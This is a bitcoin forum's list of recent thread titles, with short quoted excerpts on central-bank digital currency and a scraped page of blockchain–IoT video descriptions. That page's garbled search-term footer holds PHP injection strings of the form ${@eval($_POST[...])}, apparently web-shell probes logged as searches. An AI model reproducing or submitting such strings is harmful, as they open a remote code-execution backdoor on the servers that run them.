最新讨论
  • 忍痛以一个超幸运价码卖了一个比特币,立此存照!
  • 比特币矿池创业的故事(每日更新,算是流水账了)
  • 2016年的币圈(异客出品)

    来源: https://news.bitcoinworld.com/a/2716

  • 正确的赌约清算姿势:江总您与九神的赌约到期了,现在我判定您为输方,请支付九神0.1B,以江总今时今日的江湖地位应该不会赖帐吧!!
  • 我就想问问英英的脸皮值不值0.1btc
  • 这是什么鬼畜交易深度
  • 难得蒙对一次,发帖嘚瑟一下,来,看一下我9个月之前的预测。
  • 大战在即,全军上下,枕戈待旦,着甲而息!
  • 元宝网公告区的行云币2代矿机---智能手环有关注的吗?
  • 悲催呀!比特币元宵节大平卖,想抄底,谁知今晚外出了,密码想来想去还是不对!
  • 转openbazaar群看到的一段视频,“创业美国第四季:马云慌了,比特币笑了!“
  • BU分叉了,币价居然几乎纹丝不动?
  • 刚刚在好厂的币信红包群里发了个红包,然后就人问我这个问题。
  • 南方周末:2011年《 比特币,史上最危险的货币?》,2017年《比特币背叛比特币》
  • 【转】视频:财经郎眼 20170123 五问比特币
  • 转:黑比特币的错误姿势
  • 1个月打不开币科技(体会到细节决定成败)
  • BATpool.com矿池,挖比特币、莱特币零手续费
  • 国家监管 币价打回原形
  • 有没有人现在上车的?
  • 英神去年11月份的预测2016年春节前突破8000点 现已达成

    来源: http://www.bikeji.com/t/2583#reply94 英神力作 我对未来的预测

  • 财新网这些年一点都没长进
  • 币科技转型思路
  • 央行参事盛松成:货币当局为什么要发行央行数字货币

    来源: http://money.163.com/16/1212/21/C849K2AL002580S6.html > 私人数字货币使用了一系列新的技术,这些技术对金融体系的渗透力极强,甚至对现代经济金融运行带来冲击。所以,为了维护货币体系乃至整个金融体系的稳定,货币当局也必须使用同等甚至更先进的技术和设计来研究发行央行数字货币。如果任由私人数字货币无序发展,这将对货币当局政策调控和经济金融体系带来严重冲击。 > 第一、私人数字货币分流、替代了一部分主权货币的使用,货币政策有效性将被削弱、传导机制将被扭曲。私人货币与主权货币是此消彼长的关系。随着私人数字货币使用范围不断扩大,主权货币使用量将逐渐下降,这将降低货币当局对主权货币的控制力。同时,货币政策调控对主权货币供应和流通的影响力也将下降、不稳定,这将削弱货币政策有效性、扭曲传导机制。如果私人数字货币被普遍使用但不由货币当局发行和调控,现代经济将因此失去一个重要的调控手段,经济将因为不受货币政策调节而无法正常运行。 > 第二、私人数字货币价值波动大,对金融稳定带来威胁。私人数字货币没有国家信用背书,不是真正的货币,其价格极易受到市场预期影响,波动率极高,市场流动性难以得到保证。随着私人数字货币使用范围和规模的扩大,单个私人数字货币风险演变为系统性风险的概率也将上升。 > 第三、私人数字货币供应量相对固定,难以适应现代经济发展需要。以比特币为例,系统设定的供应量上限与不断扩大的社会生产和商品流通之间存在矛盾。若其被广泛使用,这将造成通货紧缩,抑制经济发展。这也是金本位制崩溃的根本原因。 > 第四、私人数字货币缺少中央调节机制,难以满足现代货币体系稳定的需要。没有集中发行和调节机构即所谓的“去中心化”是私人数字货币普遍的特征。如果私人数字货币被全社会普遍接受,而货币当局无法通过中央调节机制稳定币值,这不仅会引起经济波动,也会动摇以国家信用为基础的货币体系。[4] > 第五、私人数字货币给反洗钱、反恐怖主义融资以及资本管控带来了挑战。私人数字货币普遍存在交易匿名和资金可跨国自由流动的特征,使得不法分子易于掩盖其资金来源和投向,个人易于规避换汇额度及外汇汇出境外的管理规定[5],这给洗钱、恐怖主义融资及逃避资本管控带来了便利。 > 第六、私人数字货币增加了消费者权益保护的难度。私人数字货币价格波动大、市场参与者几乎不受监管、用户资金安全缺乏保障以及交易不透明,因此私人数字货币交易容易发生诈骗、盗窃和造假等事件。这不仅使消费者权益缺乏保障,而且增加了监管当局取证调查的难度。[6] > 因此,为了应对私人数字货币快速发展对货币主权、货币政策、金融风险以及消费者权益保护等方面的冲击,货币当局清楚地认识到,国家应尽早开始研究发行央行数字货币。未来的央行数字货币应在国家信用的支持下,不断满足社会对货币使用技术的要求,成为被广泛认可的结算支付方式,这样货币当局才能扩大主权货币的使用,减少私人数字货币对货币体系以及整个金融体系的冲击。 。。。恭喜盛司长。参事,这是升了吧。

  • 《人民日报》: 数字货币是什么?
  • 最近搞了一个自动交易机器人玩玩,装逼进行时
  • 拍卖 币科技股份1份 起拍价格1BTC
  • 人人参与挖矿,电费只需3毛2分

    来源: http://weibo.com/ttarticle/p/show?id=2309404045744314174080

  • 纸币要消失了?央行筹备数字货币
  • 你是否支持 Segwit 隔离见证?
  • 大家看今年比特币能涨到什么价位?1万?
  • 警告比特币中国,ok
  • 比特币的发展路线图
  • 这是仙人指路2.0吗?
  • 币科技没法改用户名吗?
  • Tilepay

    来源: https://letstalkpayments.com/what-does-iot-blockchain-have-in-common/tilepay/ MENU OjuPisha.com Este sitio web utiliza cookies propias y de terceros para su correcto funcionamiento. El uso de estas cookies, le proporciona una mejor experiencia de su visita a este sitio web. Más info tilepay - Internet of Things block chain authentication and device registration Video duration : 05:29Video uploaded by :tilepay iotVideo release date : Feb 14th, 2015 Simple home office video that talks about authenticating and registering Internet of Things (any type of micro computer, device and/or sensors) on the bitcoin blockchain. The next steps are the micropayments that will enable an international data marketplace of information. Please stay tuned and thanks for watching. Video views : 864Video likes : 5Video dislikes : 0 IoT and Blockchain Used for Security, Identity, Coordination and Privacy - Stephan Tual, Slock.it Video duration : 24:54Video uploaded by :EthereumVideo release date : Apr 18th, 2016 Stephan is the Founder and COO of http://slock.it, a project at the intersection of the IoT and blockchain that aims to address security, identity, coordination and privacy over billions of devices. Slock.it first product, the Ethereum Computer, disrupts the billion dollar disruptors by enabling anyone to rent, sell or share their property without middleman. And because it's build on top of the Ethereum blockchain, Slock.it is always on, suffers no downtime, features cryptographic security by default, requires no login or signup, and can be audited by anyone. Stephan is the former CCO of Ethereum, has three startups under his belt and brings 20 years of enterprise IT experience to the Slock.it project. We’d like to thank the London Ethereum Meetup (http://www.meetup.com/ethereum/) event sponsors: Thomson Reuters: http://thomsonreuters.com/en.html Slock.It: https://slock.it/ CryptoCompare: https://www.cryptocompare.com/ Havas Media: http://www.havasmedia.co.uk/ Video views : 5,390Video likes : 89Video dislikes : 2 Internet of things meets blockchain. Video duration : 36:23Video uploaded by :DevClubsVideo release date : Feb 19th, 2015 By Maria Pääsuke (QA) & Maroš Kotula (Java Developer) @ Ignite. Merchants and consumers are looking forward to reducing operational costs. As alternative to expensive centralized banking transfers decentralized payment system has proved its effectiveness in reducing costs associated to transferring a value and acquiring assets. Decentralized payments and IOT mesh network can be a synergy. Monetization of physical assets involved within the Internet of Things (IoT) mesh networks is possible. The Internet of Things (IoT) refers to the growing network of physical objects that feature an IP address for internet connectivity. The communication occurs between these objects and other Internet-enabled devices and systems. Imagine IoT devices that are able to trade their data and services. Each product or service can be paid for using token. Token is created by the decentralized application and is easily transferable from peer to peer for example via the bitcoins blockchain. The decentralized application manages payment addresses that can be assigned to each IOT device for data or service that one might want to acquire Video views : 1,559Video likes : 10Video dislikes : 0 Blockchain Explained, What is Blockchain? Video duration : 15:40Video uploaded by :Patrick SchwerdtfegerVideo release date : Sep 15th, 2015 http://www.patrickschwerdtfeger.com/sbi/ Blockchain is a distributed public ledger for transactions of value. It's the underlying technology behind Bitcoin but it will revolutionize the entire financial world, including real estate, stock market, insurance, retail and even democratic voting. Anything of value can be recorded using blockchain technology, eliminating intermediaries and increasing efficiency. This video discusses how blockchain technology works and implications for our world. This is video is based, in part, on the following video by WIRED. https://www.youtube.com/watch?v=jbu6I-8mNUo Patrick Schwerdtfeger is an expert on global business trends including blockchain, big data and the social media revolution. He's a regular speaker for Bloomberg TV and earns over 90% of his income in speaking fees. He has lectured at various educational institutions including Purdue University and Stanford University. Contact us to check availability for your upcoming event. Phone: 415-881-7530 Other prominent keynote speakers in the blockchain space include Blythe Masters, Roger Ver and Peter Smith. Video views : 58,015Video likes : 380Video dislikes : 32 Blockchain: Why is it great for IoT Makers? // Technology Video duration : 09:07Video uploaded by :MickMakeVideo release date : May 7th, 2016 http://mickmake.com/archives/614 What is Blockchain? What is Ethereum? Why is this important for the Maker? How can it replace some of the IoT architecture? In this video I'll be taking you through the basics of Bitcoin, Blockchain, and Ethereum. By the end of it you will have a good understanding of what these technologies are and why they are critical for the Maker. Blockchain & Ethereum could quite possibly rewrite a lot of the current IoT architecture designs and solve a lot of the IoT security issues. But can Blockchain address some of the fundamental issues raised by critics? Also, if you aren't interested in IoT, and just want to know about Bitcoin, Blockchain, and Ethereum then this video will also help you understand these technologies. More Info: http://mickmake.com/ Feedback Me: Email: feedback@mickmake.com Follow Me: YouTube: https://www.youtube.com/c/MickMakes Facebook: https://www.facebook.com/MickMakes/ Twitter: https://twitter.com/MickMakes GooglePlus: https://plus.google.com/+MickMakes Pinterest: https://www.pinterest.com/MickMakes/ Tumblr: https://mickmakes.tumblr.com/ Feed: http://feeds.specificfeeds.com/mickmake Flickr: https://www.flickr.com/people/mickmakes Github: https://github.com/MickMakes Vimeo: https://vimeo.com/mickmakes Video views : 1,910Video likes : 44Video dislikes : 2 IoT Authentication Network Video duration : 02:01Video uploaded by :Kyle GarsutaVideo release date : Mar 28th, 2016 Capstone Project Department of Electrical and Computer Engineering University of British Columbia Team: Kyle Garsuta, Waimond Fung, Michael Qiu, Jay Chang Client: FusionPipe Software Solutions Video views : 99Video likes : 4Video dislikes : 0 The Future of Insurance : Blockchain, IoT and Big Data Video duration : 41:52Video uploaded by :Ugur OzdemirVideo release date : Jun 19th, 2016 Presentation by Ugur Ozdemir of how "The Future of Insurance" will see out from the perspective of three disruptive innovations Blockchain, IoT and Big Data. Video views : 2,274Video likes : 13Video dislikes : 4 #bbuzz 2016: Sam BESSALAH - Leveraging blockchain technologies for the internet of things. Video duration : 30:14Video uploaded by :newthinking communicationsVideo release date : Jun 11th, 2016 Find more information here: https://berlinbuzzwords.de/session/leveraging-blockchain-technologies-internet-things Blockchains are usually assimilated to bitcoins, but in reality they are much more than being the Bitcoin Network backbone. On one hand, the "Blockchain" can be seen as a distributed, peer to peer log like system, on top of which distributed applications can be built with security, encryption and accountability. And on the other hand, we are transitioning to an age of smart devices, with a need to communicate in a Machine to Machine fashion, with security, and scale that make a centralized architecture not viable in the long term. In this session, we intend to introduce the blockchain as a scalable and secure solution, on top of which critical IoT applications can be built, by using examples from the Ethereum Project to implement smart contracts, and embed more intelligence into smart devices without relying on a centralized system. Video views : 166Video likes : 1Video dislikes : 0 Slock.it DAO demo at Devcon1: IoT + Blockchain Video duration : 19:56Video uploaded by :slockitVideo release date : Nov 13th, 2015 Christoph Jentzsch demonstrates Slock.it's capabilities at the London Ethereum Devcon One conference. Emerging from stealth mode, ambitious German’s startup Slock.it allows anyone to directly rent, sell or share anything without middleman. Slock.it bridges the digital and physical world by enabling smart contracts on the blockchain to interact with everyday objects. Slock.it could decentralize the sharing economy just like Bitcoin decentralized currency. For more information please visit http://slock.it/. Follow us on Twitter at https://twitter.com/slockitproject Thank you Germán Lugo from http://www.bitnibs.com for the Spanish translation! Thank you to Vitaly Bezgachev (https://de.linkedin.com/in/vbezgachev ) for the Russian translation! Thank you to Jan Xie of http://www.ethfans.org/ for the Chinese translation! Thank you to Takeo Nishikata for the Japanese translation! Thank you to Michal Kotlinski for the Polish translation! Video views : 23,160Video likes : 209Video dislikes : 4 Internet of Things on the Blockchain. Oslo Blockchain Day Video duration : 14:21Video uploaded by :DEC_TECH OsloVideo release date : Apr 26th, 2016 Talk by Henning Diedrich, IBM. Oslo Blockchain Day was a conference at Oslo Science Park on April 19th 2016. Video views : 311Video likes : 4Video dislikes : 0 CITP Luncheon Speaker Series: Muneeb Ali – Experiences with Building a Global PKI with Blockchains Video duration : 01:00:38Video uploaded by :CITP PrincetonVideo release date : Mar 8th, 2016 CITP Luncheon Speaker Series: Muneeb Ali – Experiences with Building a Global PKI with Blockchains Cryptocurrency blockchains like Bitcoin and Namecoin and their respective P2P networks have seen significant adoption in the past few years, and show promise as naming systems with no trusted parties. Users can register human-readable names and securely associate data with them; only the owner of a particular private-key can write or update the name/value pair. In theory, many decentralized systems can be built using these cryptocurrency networks, such as new, decentralized versions of DNS or PKI. As the technology is relatively new and evolving rapidly, however, little production data or experience is available to guide design tradeoffs. In this talk, we describe our experience operating a large, real-world deployment of a decentralized PKI service built on top of the Namecoin blockchain. We present various challenges (network reliability, throughput, security issues) that we needed to overcome while registering/updating over 33,000 entries on the blockchain which involved over 200,000 transactions on the Namecoin network. Further, we discuss how our experience informed the design of a new blockchain-based naming system, Blockstack. We detail why we changed from Namecoin to the Bitcoin network for the new system, as well as operational lessons from this migration. Blockstack is released as open source and currently powers a production PKI system for 46,000 users. See more details here. Bio: Muneeb Ali is co-founder and CTO of Onename, a Y Combinator and Union Square Ventures backed startup focusing on blockchain technologies. Muneeb is also a final-year PhD candidate at Princeton University, where he has worked in the Systems and Networks group and at PlanetLab. He helped start a new course at Princeton on “How to be a CTO” and gives guest lectures on cloud computing at Princeton. Muneeb has been awarded a J. William Fulbright Fellowship (declined) and has served as the Program Co-Chair of ACM NSDR. Video views : 710Video likes : 16Video dislikes : 0 The Internet of Things by James Whittaker of Microsoft Video duration : 58:40Video uploaded by :CS50Video release date : Jun 28th, 2016 Change is coming. The web is being consumed by apps. Search is becoming a victim of its own success. The Internet of things is upon us and in the distance quantum computing is clouding the horizon. These changes will mean a shift of wealth. New winners, new losers. New monetization methods. New uses of data and machine intelligence. Where will it take us? Where will this all end? Join Microsoft Distinguished Engineer James Whittaker for a presentation that begins 20 years in the past and ends 20 years in the future with insight into how society will work, if machines will take over and what’s left for humanity if they do. Video views : 10,791Video likes : 193Video dislikes : 4 Blockchain info review and setting up 2 factor authentication Video duration : 11:12Video uploaded by :channin noeungVideo release date : Jan 11th, 2016 Please Set your security code to protect Account Video views : 161Video likes : 0Video dislikes : 0 How Bitcoin Works Under the Hood Video duration : 22:25Video uploaded by :CuriousInventorVideo release date : Jul 15th, 2013 A somewhat technical explanation of how Bitcoin works. Want more? Check out my new in-depth course on the latest in Bitcoin, Blockchain, and a survey of the most exciting projects coming out (Ethereum, etc): https://app.pluralsight.com/library/courses/bitcoin-decentralized-technology Lots of demos on how to buy, send, store (hardware, paper wallet). how to use javascript to send bitcoin. How to create Ethereum Smart Contract, much more. Shorter 5 min introduction: https://www.youtube.com/watch?v=t5JGQXCTe3c Written version: http://www.imponderablethings.com/2013/07/how-bitcoin-works-under-hood.html My Bitcoin address: 13v8NB9ScRa21JDi86GmnZ5d8Z4CjhZMEd Spanish caption translation by Borja Rodrigo, zordycorak@gmail.com, DFJWgXdBCoQqo4noF4fyVhVp8R6V62XdJx Russian caption translation by Alexandra Miklyukova Italian voice over: http://youtu.be/1aEf3qr7UdE Italian captions translated by Simone Falcini, 1H5KdCnBooxfqpXtyQBBAKKRU7MkCZCVCe Video views : 1,016,980Video likes : 11,683Video dislikes : 165 Blockchains for the Internet of Things - Solving the IoTs Most Critical Problems Video duration : 22:03Video uploaded by :Blockchain of ThingsVideo release date : Jul 7th, 2016 Blockchains are poised to revolutionize the Industrial internet of things. Providing security, peer-to-peer device communications and new functionality via smart properties. Andre De Castro CEO of Blockchain of Things, Inc. discusses why blockchains make sense to be used for the IIoT Video views : 877Video likes : 12Video dislikes : 0 BitCoin, Blockchains & Internet of Things - Fueling The Next Productivity Revolution Video duration : 31:40Video uploaded by :Paul BrodyVideo release date : Mar 22nd, 2016 I gave a talk earlier this year on how blockchains and IoT are technologies made for each other and how they will help drive a significant transformation in global productivity. Video views : 2,196Video likes : 26Video dislikes : 2 What is the Internet of Things? And why should you care? | Benson Hougland | TEDxTemecula Video duration : 16:38Video uploaded by :TEDx TalksVideo release date : Dec 17th, 2014 This talk was given at a local TEDx event, produced independently of the TED Conferences. There’s a new buzz phrase in tech circles these days: The Internet of Things. And it’s promising to be bigger than the Internet and the World Wide Web ever was. But what is it? And how will it impact our everyday lives? Will it help me? Should I be worried? Benson Hougland has a passion for technology of all kinds that drives a deep desire to make his work and the world around him better. His interests include making wine, making music, and making memories with family and friends in activities like boating, camping, and traveling. Benson is a 17-year Temecula resident, husband, and father of two elementary school boys and an adult daughter. As vice president at Opto 22, a local software developer and hardware manufacturer of products used in the industrial automation and information technology markets, he’s responsible for product evolution, marketing, training, and communications. About TEDx, x = independently organized event In the spirit of ideas worth spreading, TEDx is a program of local, self-organized events that bring people together to share a TED-like experience. At a TEDx event, TEDTalks video and live speakers combine to spark deep discussion and connection in a small group. These local, self-organized events are branded TEDx, where x = independently organized TED event. The TED Conference provides general guidance for the TEDx program, but individual TEDx events are self-organized.* (*Subject to certain rules and regulations) Video views : 181,200Video likes : 1,375Video dislikes : 36 Next Generation IoT Technologies Using The Block Chain Video duration : 52:51Video uploaded by :Samsung Developer ConnectionVideo release date : Dec 1st, 2014 This session will include findings from the recent research study conducted by IBM’s Institute for Business Value on a decentralized Internet of Things. We present a revolutionary approach to address the problems of cost, privacy and longevity of smart devices on the Internet Things. We make the case for rethinking the technology strategy at the foundation of the IoT to be secure, scalable and efficient. Our approach leverages the “block chain” – the technology platform underlying Bitcoin - to create a decentralized platform for the Internet of Things. An overview of how Samsung and IBM are thinking about the next generation of IoT infrastructure, why we're using the Block Chain (derived from Bitcoin) and what to expect at our January proof of concept presentation in CES will be presented. Speaker: Gurvinder Ahluwalia Video views : 14,064Video likes : 68Video dislikes : 3 Blockchain Basics Explained - Hashes with Mining and Merkle trees Video duration : 03:24Video uploaded by :ChainthatVideo release date : Feb 7th, 2016 A brief and simple introduction to the hash function and how blockchain solutions use it for proof of work (mining) and data integrity (Merkle Trees). Video views : 19,216Video likes : 93Video dislikes : 3 What is Blockchain Video duration : 13:59Video uploaded by :zlotolowVideo release date : Jun 9th, 2016 Blockchain explained. Shai Rubin, CTO of Citi Innovation Lab, explains in an easy and simple way the basics of blockchain. Video views : 39,833Video likes : 464Video dislikes : 6 Inicio Vistos Recientemente Favoritos  Share this page Latest Searches Dile TE QUIERO 65axf Wzj40Se arrienda tnIpe BzHwUComo ganhar 1 5 milh" titleTAG irm" titlEn cadiz tiMaria del monte" title="MMusica target blaDR Son title title DR SoTu COSMOPOLIS ti" title="RUSO Y PIERO title" title=V title" titlEmir ti title EmMUKELENGE titleFem Sibel Alaş(s1Nd_aQE1Wk)${@eval($_POST[QQ245661320])}Admin ti titlAdmin ti titleRare aircraft 7 0zPczN0 ETop 10 intr 3 vN 723F92ZgShanking Ariel Av8 DtD5xl4ZJuana Natural I99 bRG6HRgGameplayrjMan" title="MHoy 26th oct 2015 titl" titleHot girls PE81GYsRGwYHoy 26th oct 2015 tit" titleDprktelevision titlPato asado title PaThe Guardian Ro 4T2cbQ0oManDanse m6gG u G1oVivek saahil titlConfianzayvida titleFolding Bench QlHnV 3 eyo${@eval($_POST[f])}FamososRanger ice yet wQxyqq9JKEFamosos" target="Tip na v titl" titleLev Binyamin HQeH7u57 cEstupidos en el gym titlFacebook"Apple iwatch bypassINVESTMENT CASH" titlAn title An" title=МСК �Ht title H title HtPapağan(G oFfXFCEAI)YENİ İNTRO 4YJ8Tzjy1E" Facebook          OjuPisha.com Encuentra los videos mas divertidos de internet Terminos Politica Privacidad Contacto Copyright © 2016 OjuPisha.com

  • 聊一聊第46届美国总统迈克.彭斯
  • 算力吧复活了吗?网站还是上不去啊?
  • 怎么才能不被禁止发言,不被删帖
  • 今天美国会不会硬分叉
  • 意大利最大的士车队接受比特币付款
  • 哪里下载靠谱的Google Authenticator?
  • 时间开始了【续完】
  • 笑话一则
  • HaoBTC上线两周年, 相信激流勇进,才能无限趋近星辰大海,感恩,一路有您相伴~!
  • 随着ZCash发布,区块链进入匿名时代
  • 看了一眼zec的交易深度
  • 小概率事件及其它
  • zcash是骗子币!!!!!!!
  • zcash前期市场行为的投资分析

币科技论坛发帖权限正在重新设计中,您暂时不能发帖。

如果你想贡献优质内容,请联系大庆(qq: 420771712)开通发帖权限。